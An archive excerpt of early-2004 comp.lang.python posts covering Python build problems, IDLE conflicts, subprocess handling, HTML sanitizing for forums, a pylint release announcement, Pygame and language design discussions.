>> reference to `_imp___Py_NoneStruct'
>> build\temp.win32-2.3\Release\src\md2.o(.text+0x53c):MD2.c: undefined
>> reference to `_imp__PyType_Type' ---
>>
>> can someone please help?
> 
> Did you create libpythonXX.a ?
> http://sebsauvage.net/python/mingw.html describes how to do that.
thanx, that solved it.

Bye
--
Haim




From John at the.computer  Fri Feb 20 14:29:01 2004
From: John at the.computer (John Matthews)
Date: Fri, 20 Feb 2004 19:29:01 GMT
Subject: Idle won't start
References: <ecebe16b.0312141050.4a10fbba@posting.google.com>
	<8eh830tlh056hk21hm9v49m3qcinjv4pq9@4ax.com>
Message-ID: <MPG.1aa0294fb691b003989682@news-server.columbus.rr.com>

In article <8eh830tlh056hk21hm9v49m3qcinjv4pq9 at 4ax.com>, shuvit@
127.0.0.1 says...
> 
> This might be a different problem if your problem is truly
> intermittent, but I am finding that IDLE has conflicts with other
> installed programs.  I have been running Python 2.3 under Windows
> XP-Home with no problem for the last few months.  Yesterday I
> installed Ruby 1.8.1-11 and now IDLE won't start.  No response to
> clicking the icon, selecting the menu item,  Nada.  Removing Ruby
> restores IDLE.
> 
> With Ruby installed, when I run IDLE from a command line
> C:\Python23\Lib\idlelib>idle.py
> I get a message:
> """
> _tkinter.TclError: Cant find a usable init.tcl in the following
> directories:  <c:\ruby\tcl\lib\tcl8.3> <c:\ruby\tcl\lib\tcl8.3>
> c:/ruby/tcl/lib/tcl8.4  C:/Python23/lib/tcl8.4  C:/lib/tcl8.4
> C:/library
> This probably means that Tcl wasn't installed properly.
> """
> I have no idea why IDLE is looking for library routines in the Ruby
> subdirectories, or why all the strange variations in the search path
> above, but it is clear that Ruby and IDLE cannot co-exist on one
> computer.
> 
> Note:  Re-installing Python23 after Ruby is installed doesn't help.
> You have to remove Ruby completely.
> 
> -- Dave

I have similar problems at my office machine (Win2K Pro) and my home 
machine (WinXP). I do not, nor have ever had Ruby installed. The problem 
seems intermittent. I gave up and went back to Python 2.2. I hated to go 
back because the 2.3 version of IDLE was nice, but I beleive that it is 
somehow broken and will need to be fixed for me to use it again.

John


From mwh at python.net  Tue Feb 24 08:49:33 2004
From: mwh at python.net (Michael Hudson)
Date: Tue, 24 Feb 2004 13:49:33 GMT
Subject: How can i get the parameternames of a non documented function ?
References: <2d0e7cf4.0402230929.74d0e208@posting.google.com>
Message-ID: <m365dwh9jn.fsf@pc150.maths.bris.ac.uk>

hilfmir at gmx.at (mzo) writes:

> Hello 
> 
> I import a module (wrapped from c code) and have no documentation of
> it. How can i find out the name of the parameters / head of the
> functions ?

You can't.  Sorry.

(Well, short of reading the C source or disassembling the built
object...)

Cheers,
mwh

-- 
  In the 1950s and 60s there was a regular brain drain of young
  Australians from the cities to London, but it was because of 
  money, culture and opportunity, not spiders.
           -- Al Grant, ucam.chat, from Owen Dunn's review of the year


From shalabh at cafepy.com  Thu Feb 19 20:34:28 2004
From: shalabh at cafepy.com (Shalabh Chaturvedi)
Date: Fri, 20 Feb 2004 01:34:28 GMT
Subject: Descriptors: why __get__(obj,typ=None) instead of __get__(obj,typ)
Message-ID: <EudZb.31162$5W3.26333@nwrddc02.gnilink.net>

Almost everwhere the descriptor protocol is mentioned, it specifies
__get__(obj, typ=None). Why is a default value needed for the second
argument? In which case does Python call a descriptor without a second
argument?

Thanks,
Shalabh


From donn at u.washington.edu  Thu Feb 12 15:38:57 2004
From: donn at u.washington.edu (Donn Cave)
Date: Thu, 12 Feb 2004 12:38:57 -0800
Subject: correct way of running a sub-process
References: <Pine.GSO.4.44.0402120604380.4841-100000@amy3.Stanford.EDU>
	<pan.2004.02.12.16.17.48.957440@thomas-guettler.de>
	<c0gb41$1bl$1@news.Stanford.EDU>
Message-ID: <donn-5BEC74.12385712022004@nntp3.u.washington.edu>

In article <c0gb41$1bl$1 at news.Stanford.EDU>,
 "Daniel Danger Bentley" <dbentley at stanford.edu> wrote:

> Correct me if I'm wrong, but can't this not catch all the output?  Or is
> read in python guaranteed to return all the data that can ever be returned
> (unlike the C library function)?

You are indeed wrong, misled by the name - the C library function
in question is fread(3), which does read all.  Not like the read(2)
system call, which is posix.read (a.k.a. os.read)

Back to the original question, I think the simplest way to get
status and output is

   fp = os.popen(cmd, 'r')
   output = fp.read()
   status = os.WEXITSTATUS(fp.close())

Now if you want a timeout, you'll have to do it yourself, and
of course the file object isn't the way to go because of its
underlying buffered read.  You can turn off buffering, but then
you're looking at one system call per byte to implement readline
et al., so it's not a generally attractive solution.  Better to
get the file descriptor (fileobject.fileno()), and probably use
select on it.  You might also want to do that if you end up
reading from two different pipes for stderr and stdout, because
that can lead to the same buffer deadlock you're running into
now - if I'm reading from stdout while the process writes to
stderr, or vice versa, it can fill the pipe and block waiting
for me to empty it, which I won't do because I'm stuck on stdout.

   Donn Cave, donn at u.washington.edu


From anton at vredegoor.doge.nl  Tue Feb 17 17:29:47 2004
From: anton at vredegoor.doge.nl (Anton Vredegoor)
Date: Tue, 17 Feb 2004 23:29:47 +0100
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
	<36wk72njpa8.fsf@goya03.ti.uni-mannheim.de>
	<4030D457.D193F14C@engcorp.com>
	<36wfzdajavi.fsf@goya03.ti.uni-mannheim.de>
	<xqxptce16g3.fsf@cola2.ca.boeing.com>
	<40323814.3129EA4B@engcorp.com>
	<40326a09$0$41759$5fc3050@dreader2.news.tiscali.nl>
Message-ID: <40329617$0$145$3a628fcd@reader2.nntp.hccnet.nl>

"GerritM" <gmuller at worldonline.nl> wrote:

>Fortran, Basic, Assembly many times, Pascal, C, Objective-C, Object Pascal,
>C++, Java and Python.
>Yes Python beats the rest wrt productivity for most of my applications :-)
>
>Now do we need 18 more for a SIGNIFICANT data point?

Fortran, C, Lisp, Elan, Gfabasic, Pure C, Borland Pascal, Borland C,
Borland C++, Visual Basic, Delphi, Python 

Python is the first language out of this list for me that I can forget
about while using it, so that I can concentrate on the algorithmic
aspects of the problem. 

My next language will probably one that suggests a better algorithm
after me typing in some pseudo code. Maybe using some interface to
comp.lang.xxxxxx for the interpreter?

17 to go.

Anton


From graham__fawcett at hotmail.com  Wed Feb 11 23:58:48 2004
From: graham__fawcett at hotmail.com (Graham Fawcett)
Date: 11 Feb 2004 20:58:48 -0800
Subject: Simple allowing of HTML elements/attributes?
References: <ZYnWb.1600$h86.1207651@monger.newsread.com>
	<qnklln9grv6.fsf@arbutus.physics.mcmaster.ca>
Message-ID: <e9570f37.0402112058.75921da4@posting.google.com>

cookedm+news at physics.mcmaster.ca (David M. Cooke) wrote in message news:<qnklln9grv6.fsf at arbutus.physics.mcmaster.ca>...
> At some point, Leif K-Brooks <eurleif at ecritters.biz> wrote:
> 
> > I'm writing a site with mod_python which will have, among other
> > things, forums. I want to allow users to use some HTML (<em>,
> > <strong>, <p>, etc.) on the forums, but I don't want to allow bad
> > elements and attributes (onclick, <script>, etc.). I would also like
> > to do basic validation (no overlapping elements like
> > <strong><em>foo</em></strong>, no missing end tags). I'm not asking
> > anyone to write a script for me, but does anyone have general ideas
> > about how to do this quickly on an active forum?
> 
> You could require valid XML, and use a validating XML parser to
> check conformance. You'd have to make sure the output is correctly
> quoted (for instance, check that HTML tags in a CDATA block get quoted).

You could use Tidy (or tidylib) to convert error-ridden input into
valid HTML or XHTML, and then grab the BODY contents via an XML
parser, as David suggested. I imagine that the library version of tidy
is quick enough to meet your needs.

Or maybe you could use XSLT to cut the "bad stuff" out of your tidied
XHTML. (Not something I'm familiar with, but someone must have done
this before.)

There's a Python wrapper for tidylib at
http://utidylib.sourceforge.net/ .

-- Graham


From johng2001 at rediffmail.com  Sun Feb 22 03:52:46 2004
From: johng2001 at rediffmail.com (John)
Date: 22 Feb 2004 00:52:46 -0800
Subject: Session CGI!
References: <ba129ce7.0402211010.231375d7@posting.google.com>
	<30260531.0402211543.d810721@posting.google.com>
Message-ID: <ba129ce7.0402220052.283012ce@posting.google.com>

> You could use cookies and/or database writes.

Sadly that is what I want to avoid :-(


From paul at prescod.net  Thu Feb  5 03:11:41 2004
From: paul at prescod.net (Paul Prescod)
Date: Thu, 05 Feb 2004 00:11:41 -0800
Subject: Any problems with *lots* of attributes?
In-Reply-To: <246a4e07.0402042327.5192034a@posting.google.com>
References: <246a4e07.0402040703.2be902a9@posting.google.com>	<bvrgdn$t76$1@panix1.panix.com>
	<246a4e07.0402042327.5192034a@posting.google.com>
Message-ID: <4021FABD.7020508@prescod.net>

Frank Millman wrote:

> 
> This is exactly my point, but I may be misunderstanding how it works
> internally. If I have a class with 20 attributes, it will have a
> dictionary with 20 entries. If I have hundreds of instances of the
> class, do I end up with hundreds of dictionaries (or the equivalent
> internal structures), and if so, does this not lead to memory bloat?
> If I store the data in a list, there will only be one dictionary entry
> per instance. On the other hand, I suppose there must be some
> reference to each of the elements of each list, so maybe there is an
> equivalent overhead.

20 entries * 100 instances = 2000 entries in 100 dictionaries
20 entries * 100 instances = 2000 list indexes in 100 lists

I really don't expect a big memory difference in normal use. I 
personally would not worry about it until I actually experienced a 
performance issue. Even before you code your app you know the size of 
database you care about: why not simulate it and see how the performance is?

  Paul Prescod





From klapotec at chello.at  Sun Feb  1 01:39:14 2004
From: klapotec at chello.at (Christopher Koppler)
Date: Sun, 01 Feb 2004 06:39:14 GMT
Subject: Python vs. Io
References: <711c7390.0401291301.3f95794@posting.google.com>	<D6wSb.6538$qU3.576425@news20.bellglobal.com>	<711c7390.0401301726.3e38da27@posting.google.com>
	<mailman.1078.1075571238.12720.python-list@python.org>
	<711c7390.0401311808.3914a94b@posting.google.com>
Message-ID: <pi7p10130jblpcg56no1dgpk4hnupvk4ri@4ax.com>

On 31 Jan 2004 18:08:15 -0800, LittleDanEhren at yahoo.com (Daniel
Ehrenberg) wrote:

>> Do you know why the creator of IO decided not to use the now-ubiquitous 
>> "." operator? I don't know whether I can define a "." operator that has 
>> the appropriate behaviour but that wouldn't help anyhow.
>> 
>>   Paul Prescod
>
>In the opinion of the creators of Io, a space looked cleaner. Using a
>period looks kinda like you're finishing a sentence and starting a new
>one. Consider the following syntaxes:
>
>Dog barks //Io
>Dog.barks() #Python
>
>Regardless of which one is more common, which looks more like
>language?

Looking like natural language is *not* necessarily a good thing in
programming languages.

--
Christopher


From Alexandre.Fayolle at logilab.fr  Tue Feb 17 13:01:29 2004
From: Alexandre.Fayolle at logilab.fr (Alexandre)
Date: Tue, 17 Feb 2004 19:01:29 +0100
Subject: [ANN] pylint 0.3.3
Message-ID: <mailman.1077042066.30283.clpa-moderators@python.org>

I'm pleased to announce the 0.3.3 release of PyLint. This is
essentially a bug fix releases plus some minor features.

What's new ?
------------
* added a parsable text output, used when the --parsable option is
  provided

* added an emacs mode using this output, available in the distrib's
  elisp directory

* fixed some typos in messages

* change include-ids options to yn, and allow it to be in the
  configuration file

* do not choke on corrupted stats files

* fixed bug in the format checker which may stop pylint execution

* added inimal pylint tk gui


What is pylint ?
----------------

Pylint is a python tool that checks if a module satisfy a coding
standard. Pylint can be seen as another pychecker since nearly all
tests you can do with pychecker can also be done with Pylint. But
Pylint offers some more features, like checking line-code's length,
checking if variable names are well-formed according to your coding
standard, or checking if declared interfaces are truly implemented,
and much more (see http://www.logilab.org/pylint/ for the complete
check list). The big advantage with Pylint is that it is highly
configurable, customizable, and you can easily write a small plugin to
add a personal feature.

The usage it quite simple :

$ pylint mypackage.mymodule
        

This command will output all the errors and warnings related to the
tested code (here : mypackage.mymodule), will dump a little summary at
the end, and will give a mark to the tested code.

Pylint is free software distributed under the GNU Public Licence.


Home page
---------
http://www.logilab.org/pylint/

Download
--------
ftp://ftp.logilab.org/pub/pylint/

You will also eed logilab.common, from ftp://ftp.logilab.org/pub/common/

Mailing list
------------
http://lists.logilab.org/mailman/listinfo/python-projects

-- 
Alexandre Fayolle                              LOGILAB, Paris (France).
http://www.logilab.com   http://www.logilab.fr  http://www.logilab.org
Advanced computing - Python - Customized trainings - Consulting - XML
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From bnet at ifrance.com  Sun Feb  8 11:37:51 2004
From: bnet at ifrance.com (Benoit Dejean)
Date: Sun, 08 Feb 2004 17:37:51 +0100
Subject: fork, exec, and disown
References: <pan.2004.02.08.11.36.25.192799@ifrance.com>
	<7iy8rdd51u.fsf@enark.csis.hku.hk>
Message-ID: <pan.2004.02.08.16.37.50.548181@ifrance.com>

Le Sun, 08 Feb 2004 22:22:37 +0800, Isaac To a ?crit?:


> You can do that, but if you run ps you'll notice that all you processes
> get into a Z (zombie), <defunct> state.  Sooner or later you'll have the
> fork() giving you error that "resource temporarily not available"
> because all process numbers are used up.

you're right, i haven't noticed that

> With the "double fork" technique you can avoid this by adding a wait at
> the end:
> 
> def fork_exec_disown(cmd, dir="~"):
>     if os.fork() == 0:
>         if os.fork():
>             sys.exit(0)
>         os.chdir(os.path.expanduser(dir))
>         cmd = cmd.split()
>         os.execvp(cmd[0], cmd)
>     os.wait()

ok, i use this

> The wait will wait only for the child, not the grand-child.  If you
> don't have that you'll start accumulating zombies.  In some OS you can
> avoid the double forking overhead by manipulating the signal handler of
> SIGCHLD (so that it has the flag SA_NOCLDWAIT and has handler SIG_IGN),
> but that is more platform dependent than fork().

could you tell me more about that ?
because i am really interested in. i want to have the best/fastest
replacement for os.system

thank you


From jjhuang at cm.nctu.edu.tw  Sat Feb  7 02:33:58 2004
From: jjhuang at cm.nctu.edu.tw (Chun-Chieh Huang)
Date: Sat, 07 Feb 2004 15:33:58 +0800
Subject: Find function names from C
References: <zaCdnSd72anecoPdRVn-jg@comcast.com>
	<bvnc7c$p4$1@woodrow.ucdavis.edu>
	<HMWdnYfuBNo79r3dRVn-sQ@comcast.com>
Message-ID: <87ekt7ny1l.fsf@cm.nctu.edu.tw>

Berlin Brown <bigbinc097_DONT_SPAM at comcast.net> writes:

> I have to go back to the books, dont know python or lisp very well,
> yacc,lex,  for one thing, that is exactly what lisp does in emacs
> anyway, the way it matches one { with another }

Well, how about etags in Emacs or ctags in vi? I don't know if this is
exactly what you want, but typing "etags *.c" will generate a "TAGS"
file, which contains all function names in those c source files. And
then you can use Emacs to do function name searching. Take a look for
the functionality in Emacs, maybe you don't have to write it by your
own.

Good luck!

-- 
Chun-Chieh Huang, aka Albert    E-mail: jjhuang AT cm.nctu.edu.tw
???                         
Department of Computer Science  
National Tsing Hua University   MIME/ASCII/PDF/PostScript are welcome!
HsinChu, Taiwan                 NO MS WORD DOC FILE, PLEASE!


From paolo.marz at aliceposta.it  Sun Feb  1 12:08:47 2004
From: paolo.marz at aliceposta.it (gimar)
Date: Sun, 01 Feb 2004 17:08:47 GMT
Subject: variable creation from a pathname
Message-ID: <zoaTb.176324$VW.7187727@news3.tin.it>

I wonder if there's a way to assign a value to the object obtained with:

from os.path import *
splitext(basename("c:\pyfiles\sample.txt"))[0]    -----> sample

and make it possible something like this, for example:

sample = 123


Thank you in advance.







From wjj{nospam}eon at ece.gatech.edu  Fri Feb 27 03:26:41 2004
From: wjj{nospam}eon at ece.gatech.edu (Woojay Jeon)
Date: Fri, 27 Feb 2004 03:26:41 -0500
Subject: detecting the operating system
References: <c1mtcj$ofv$1@news-int.gatech.edu> <403efb6a@news.syd.ip.net.au>
Message-ID: <c1mutm$p27$1@news-int.gatech.edu>

"Ray Smith" <ray at rays-web.com> wrote in message
news:403efb6a at news.syd.ip.net.au...
> Woojay Jeon wrote:
- SNIP -
>
> sys.platform
>
> Ray Smith
>

Oops, that was quite a dumbass question, don't know how I missed that.
Thanks!




From peter at engcorp.com  Mon Feb  9 17:02:20 2004
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 09 Feb 2004 17:02:20 -0500
Subject: Pygame is very very slick (was Re: Had Phyton suggested)
References: <4026488d$0$95048$edfadb0f@dread11.news.tele.dk>
	<c0632m$mpn$1@news.service.uci.edu>
Message-ID: <4028036C.57AB3B2F@engcorp.com>

Josiah Carlson wrote:
> 
> Check out: http://pygame.org/
> 
> If your son is interested in making games, and you want him to learn
> Python, I believe that link will help you.

I just wanted to take a "me too" type of moment to say that what little
I've seen in a brief investigation of Pygame has amazed me.  The range
of possibilities is incredible, and some of the games produced so far are
very, very well done.

"Pathological" is a great example.  A couple of days after I found it, it seems
a reviewer on Newsforge has found it as well, and among other things says "This 
game is more addictive than caffeine, more fun than an election year, and more 
frustrating than trying to find a real person to talk with behind the phone 
company's evil voice mail system...."  (See the link from the pygame.org site
for more.)

Looking forward to playing around with Pygame myself...
-Peter


From mike_4766 at hotmail.com  Thu Feb 19 14:11:39 2004
From: mike_4766 at hotmail.com (Mike)
Date: 19 Feb 2004 11:11:39 -0800
Subject: Design pattern for simple file tracker ...
Message-ID: <68fec103.0402191111.2511bad5@posting.google.com>

Hey!

Im starting up a new python based project, its a very simple file
tracker for our network. Some people would most likely call this a
kind of asset management system but its much simplier than that!

Anyway, Im running a server for the moment which exists as a Linux
machine with a NFS share on our network. It has a mySQL server
installed as well.

What I want to do is to write some kind of command that uses a
library/module (custom) to transfer a file to the NFS share and at the
same add a post in the mySQL table.

What is the best way to design this little thing?

User->Command->Library/Module/Engine->mySQL/NFS<-Web/PHP ?

What is the best way to transfer and communicate, perhaps implementing
a basic protocol is one way to go but it feels overkill, is there any
modules in python package that can help me? I want this to be as
simple as possible.

And what about the engine, client/server, is it better to separate it?
or is it enough to make calls from the client library to the mySQL
server directly?


All feedback is more than welcome!
Thanks!

// Mike


From claird at lairds.com  Wed Feb 25 23:24:28 2004
From: claird at lairds.com (Cameron Laird)
Date: Thu, 26 Feb 2004 04:24:28 -0000
Subject: Foundations of computing languages (was: How does Ruby compare
	to Python?? How good is DESIGN of Rubycompared to Python?)
References: <bf23f78f.0402241443.678bf6c8@posting.google.com>
	<slrnc3q0j8.jm5.joe@gate.notcharles.ca>
	<t5fq30l29nidjh1tsksm8jlld03ff3av5o@4ax.com>
	<103qr5nhpiojv25@corp.supernews.com>
Message-ID: <103qt7s7qtrn3b@corp.supernews.com>

In article <103qr5nhpiojv25 at corp.supernews.com>, I griped:
>In article <t5fq30l29nidjh1tsksm8jlld03ff3av5o at 4ax.com>,
>Stephen Horne  <steve at ninereeds.fsnet.co.uk> wrote:
>			.
>			.
>			.
>>separated - hence a lot of the OO fuss. Currying is standard in
>>functional languages. But currying predates object orientation by a
>>long time. In fact, I'm pretty sure it was invented about a century
>>ago as math (lambda calculus) rather than as programming, though I
>>could easily be confused.
>			.
>			.
>			.
>Ouch!  I'm old enough to take some of this personally.
>Unless you're making some extremely recondite point
>(about Skolem's influences?), "a century" is too rough
>an approximation for me.  Church and Kleene introduced
>the lambda calculus in the '30s; Schoenfinkel, then 
>Curry, invented currying the decade before.
			.
			.
			.
Wrong.  Well, true, all of it, but I'm neglecting Frege.
When I first posted my follow-up, I thought there was no
need even to mention him, because his work on anonymous
functions was too far on the other side of a century ago.
However, I poked around a bit, and the earliest analysis
of anonymous functions I know to this point is his 1891
*Function un Begriff*.  I agree that's "about a century
ago".  He *must* have written about them earlier, though
...
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From paul at boddie.net  Tue Feb  3 06:09:08 2004
From: paul at boddie.net (Paul Boddie)
Date: 3 Feb 2004 03:09:08 -0800
Subject: easiest transition for a PHP website to move to Python?
References: <mailman.1023.1075441969.12720.python-list@python.org>
	<6ee58e07.0401300555.12c07aa3@posting.google.com>
	<bvdvr6$96h$05$1@news.t-online.com>
	<6ee58e07.0401301702.42c759f8@posting.google.com>
	<b6101cb47be16121be56796e45efd5d1@news.teranews.com>
Message-ID: <23891c90.0402030309.4cd26018@posting.google.com>

Dang Griffith <noemail at noemail4u.com> wrote in message news:<b6101cb47be16121be56796e45efd5d1 at news.teranews.com>...
> On 30 Jan 2004 17:02:30 -0800, llothar at web.de (Lothar Scholz) wrote:
> 
> ...
> >http://zope-is-evil-666.idyll.org/
> >http://www.amk.ca/python/writing/why-not-zope.html
> >http://pywx.idyll.org/advocacy/why-not-zope.html 
> 
> I don't know Zope, so feel free to ignore my point, but those articles
> are nearly 4 years old.  While there might be other reasons, I
> wouldn't think old postings necessarily reflect the current version.

Whilst I think that some of the criticism is unfair, if somewhat
amusing in places, Zope does have a reputation as being a particularly
difficult beast for even the most ravenous python( expert)s to
swallow. In other words, it appears as a big system with lots of
unfamiliar techniques in use and, at least until modern times, not
that much documentation to help the uninitiated. That said, once you
get down to writing components, there are some good approaches in
common use which make the process both relatively easy and not so
different to how you would write applications in some of the other
frameworks.

It sometimes seems quite fashionable to trash Zope and hype Twisted,
for example, but the "maze of twisty passages" problem isn't exclusive
to Zope by any means.

Paul


From michele.simionato at poste.it  Thu Feb 26 12:22:22 2004
From: michele.simionato at poste.it (Michele Simionato)
Date: 26 Feb 2004 09:22:22 -0800
Subject: Play with classes
References: <cth4qte878u.fsf@lcpxdf.wm.lc.ehu.es>
	<c1kmj0$28f$04$1@news.t-online.com>
Message-ID: <95aa1afa.0402260922.2a9e5c85@posting.google.com>

Peter Otten <__peter__ at web.de> wrote in message news:<c1kmj0$28f$04$1 at news.t-online.com>...
> Trying the same thing with newstyle class resulted in a TypeError:
> 
> >>> E.__bases__ = (A, B)
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
> TypeError: __bases__ assignment: 'A' deallocator differs from 'object'
> 

You can't do that with new style classes! I guess because of some
subtle issue with metaclasses, but I don't really know.

The OP needs "type", the custom metaclass:

UserClass=type("UserClass",(ModeA, TypeB, SubtypeB),{})


          Michele Simionato


From koen_vossen at pandora.be  Sun Feb 22 07:39:34 2004
From: koen_vossen at pandora.be (Koen Vossen)
Date: Sun, 22 Feb 2004 12:39:34 GMT
Subject: Portable apps in python
Message-ID: <aq1_b.9700$xm4.599169@phobos.telenet-ops.be>

Hi,

I have been asked to develop an automated cash register application for use
in a typical restaurant. The catch is that it has to run on Windows. My
questions: is the python - wxPython combination mature enough to be able to
build such an app in a portable way? What about printing?

Thanks in advance,

Koen
-- 
Replace the underscore by a dot to obtain my email address.
Public PGP key available @ pgp.mit.edu


From rpm1deleteme at direcway.com  Sat Feb 14 08:22:21 2004
From: rpm1deleteme at direcway.com (RPM1)
Date: Sat, 14 Feb 2004 08:22:21 -0500
Subject: beeline through tkinter (chess)
References: <qj6Xb.476569$JQ1.239547@pd7tw1no>
	<c0jhce$17t8qa$1@ID-203708.news.uni-berlin.de>
	<5zcXb.480227$JQ1.408230@pd7tw1no>
	<c0jktm$175t8l$1@ID-203708.news.uni-berlin.de>
	<f70e3538.0402132003.1942b297@posting.google.com>
Message-ID: <c0l7av$17gou5$1@ID-203708.news.uni-berlin.de>


"Lonnie Princehouse" <fnord at u.washington.edu> wrote in message
news:f70e3538.0402132003.1942b297 at posting.google.com...
> Yes, Python is probably too slow for a competitive chess engine.
> Pychess works, but it's about two orders of magnitude slower than it
> would be in C.  I haven't tried it with Psyco; that might help
> considerably.
>
> That said, it's a breeze to write C extensions for Python.  It makes a
> lot of sense to write the GUI in Python and have the crunchy bits in
> C.
>

Yeah but there are already GUI's, (Winboard and Arena), that you can
run various chess engines in.  That negates the need to write the GUI
part, so you're just left with the engine in C.

I've written move generators in Python, (with Psyco),  and they achieve
speeds around 10,000 - 20,000 nodes per second on a machine where
C code can do 300,000 - 500,000 nodes per second.  Java and C#
were around 80,000 - 120,000.

Of course the trick with Python is to *not* wrte a straight port of C code
but to use the built in functionality of Python to some kind of advantage.
I have not achieved that yet.

Patrick





From bart_nessux at hotmail.com  Wed Feb 11 20:21:41 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Wed, 11 Feb 2004 20:21:41 -0500
Subject: sets and subsets
References: <c0e4g3$r1$1@solaris.cc.vt.edu> <c0e8g4$4fi$03$1@news.t-online.com>
	<c0e8sa$7gs$1@solaris.cc.vt.edu>
	<c0e9uu$41u$00$1@news.t-online.com>
Message-ID: <c0eke5$o0b$1@solaris.cc.vt.edu>

Peter Otten wrote:
 
> outputFile = file('pruned_ips.txt' , 'w')
> for i in include - exclude:
>     print >> outputFile, i,
> outputFile.close()

Wow! That makes a lot more sense than the list comprehension stuff. I think
I'll use it. Thanks!


From martin at v.loewis.de  Fri Feb 13 04:02:06 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Fri, 13 Feb 2004 10:02:06 +0100
Subject: Allowing non-ASCII identifiers
In-Reply-To: <mailman.0.1076610778.31398.python-list@python.org>
References: <mailman.0.1076610778.31398.python-list@python.org>
Message-ID: <c0i3q8$b8p$06$3@news.t-online.com>

Brian Quinlan wrote:
> I think that Python should borrow the C# identifier syntax verbatim. That
> way we can have code that looks like this:
> 
> class @class:
>     def @def(@def):
>         pass
> 
> cl\u0061ss.d\u0065f(true)

If I ever get to write a PEP on this, I'll happily copy the second
syntax. I'm not sure I like the first one, and there are plenty
conventions to get around the restriction (e.g. in Tkinter, you add
an underscore if a Tcl property is a Python keyword).

Regards,
Martin



From peter at engcorp.com  Thu Feb 12 13:28:23 2004
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 12 Feb 2004 13:28:23 -0500
Subject: Hi All, have a  question
References: <mailman.9.1076606229.698.python-list@python.org>
Message-ID: <402BC5C7.ACF26918@engcorp.com>

Paul Metzger wrote:
> 
> > If you type "python" in the command line, it opens the interpreter?
> >
> > If yes, you can put "#!/usr/bin/env python" in the first line
> > of the script.
> >
> > And remember, in either case, the second line *must* be blank.
> >
> > PD: The "subject" field in the mail is to write the subject
> > of the mail, ;)
> >
> That worked, now may I ask what the /env does? And what difference it makes
> to it, since it works without it on 2 servers, and apparently has to have it
> on one? The two that is works on are Mandrake 9.1 and the other is 9.2 which
> is a bit buggy for my taste, but it's getting worked out slowly, that is the
> only cause I can come up with.

"man env" on Linux should tell you a lot about that.  env is just another
utility program which in this case is used to search for the first "python"
executable in the path and run it.

-Peter


From spam.buster at web.de  Tue Feb  3 09:26:49 2004
From: spam.buster at web.de (Lars Behrens)
Date: Tue, 03 Feb 2004 15:26:49 +0100
Subject: What's the matter with pydoc.org?
In-Reply-To: <bvoa2a$u5pp0$1@ID-111250.news.uni-berlin.de>
References: <bvo98e$tqnei$1@ID-95936.news.uni-berlin.de>
	<bvoa2a$u5pp0$1@ID-111250.news.uni-berlin.de>
Message-ID: <bvob38$un3au$1@ID-95936.news.uni-berlin.de>

Diez B. Roggisch wrote:

> Try http://www.python.org/doc

Thanks.

> I don't know about pydoc.org - but seems like its a private site.

I had it bookmarked and I had used it for quite a while...

-- 
Cheerz Lars


From dk123456789 at REMOVEhotmail.com  Thu Feb 19 23:08:11 2004
From: dk123456789 at REMOVEhotmail.com (Dave K)
Date: Fri, 20 Feb 2004 05:08:11 +0100
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
	<7x65e4j3oa.fsf@ruckus.brouhaha.com>
	<4033084D.1AEA1ADA@alcyone.com> <40330A95.DF809EAA@alcyone.com>
	<4f0a9fdb.0402180457.6c96853d@posting.google.com>
	<ql87309o5jg1qsro0tu89gb996635t0k9j@4ax.com>
	<mailman.41.1077153034.27104.python-list@python.org>
	<7xhdxnzs8a.fsf@ruckus.brouhaha.com>
	<slrnc390f4.h9q.sax@csmisc72.cs.chalmers.se>
Message-ID: <ur1b305a2f45o0a0ruc7m345l7qud8sskt@4ax.com>

On 19 Feb 2004 09:29:08 GMT in comp.lang.python, Stefan Axelsson
<sax at csmisc72.cs.chalmers.se> wrote:

(snip)
>
>Generators/iterators gives you e.g. the opportunity to write:
>
>(Snarfed from <674o20dp1kj9ath3hmmha5fvmc342s1gcd at 4ax.com>, by  Dave K
><dk123456789 at REMOVEhotmail.com>) 
>>from sets import Set
>>file('pruned_ips.txt', 'w').writelines(
>>        Set(file('ips.txt')) - Set(file('excluded_ips.txt')))
>>
>>This code relies on `writelines' accepting an iterable, sets returning
>>their members whenever iterated, Set constructors accepting an iterable,
>>and files returning their lines whenever iterated.  And of course, on
>>`close' rarely being needed in Python! :-)

Just for the record, that was actually written by Fran?ois Pinard, not
me. Well worth quoting again, though, as it's a lovely example.
>
>Something that the assignment as expression doesn't.
>
>I'd say the syntax is just right as it is. No extra complexity in
>while loops or assignments as expressions is needed. In fact the
>relative awkwardness of the present state serves as an excellent
>opportunity to introduce generators/iterators.

FWIW, I think I agree with you. I'm no expert on generators, but I do
know one thing - they're *much* more powerful and flexible than I
currently realise :)

Dave



From info at practicalc.com  Tue Feb 17 11:32:49 2004
From: info at practicalc.com (Thoro)
Date: Tue, 17 Feb 2004 18:32:49 +0200
Subject: PractiCalc - A New CALCULATOR
Message-ID: <20040217163249105.XsDbvIQuQnB0MgjsFir7@NetId-052>

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 - Save and restore user-defined named sets of formula
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From timr at probo.com  Tue Feb 24 02:39:03 2004
From: timr at probo.com (Tim Roberts)
Date: Mon, 23 Feb 2004 23:39:03 -0800
Subject: Session CGI!
References: <ba129ce7.0402211010.231375d7@posting.google.com>
	<30260531.0402211543.d810721@posting.google.com>
	<ba129ce7.0402220052.283012ce@posting.google.com>
Message-ID: <crvl30dj3mduqo8rbl1qqgij7mj9r87tng@4ax.com>

johng2001 at rediffmail.com (John) wrote:

>> You could use cookies and/or database writes.
>
>Sadly that is what I want to avoid :-(

Well, there isn't any magic avaiable, even in Python.  Either you use a
port and an appserver or you store your session data somewhere.  I'm not
sure what you were hoping to find.
-- 
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.


From theller at python.net  Thu Feb  5 15:03:59 2004
From: theller at python.net (Thomas Heller)
Date: Thu, 05 Feb 2004 21:03:59 +0100
Subject: Defining *class* methods on C code
Message-ID: <hdy59tu8.fsf@python.net>

I once knew how to do it, but I cannot find or remember it anymore:

How can I attach *class* methods to a type in C code, when I have a
function

PyObject *func(PyObject *type, PyObject *arg);

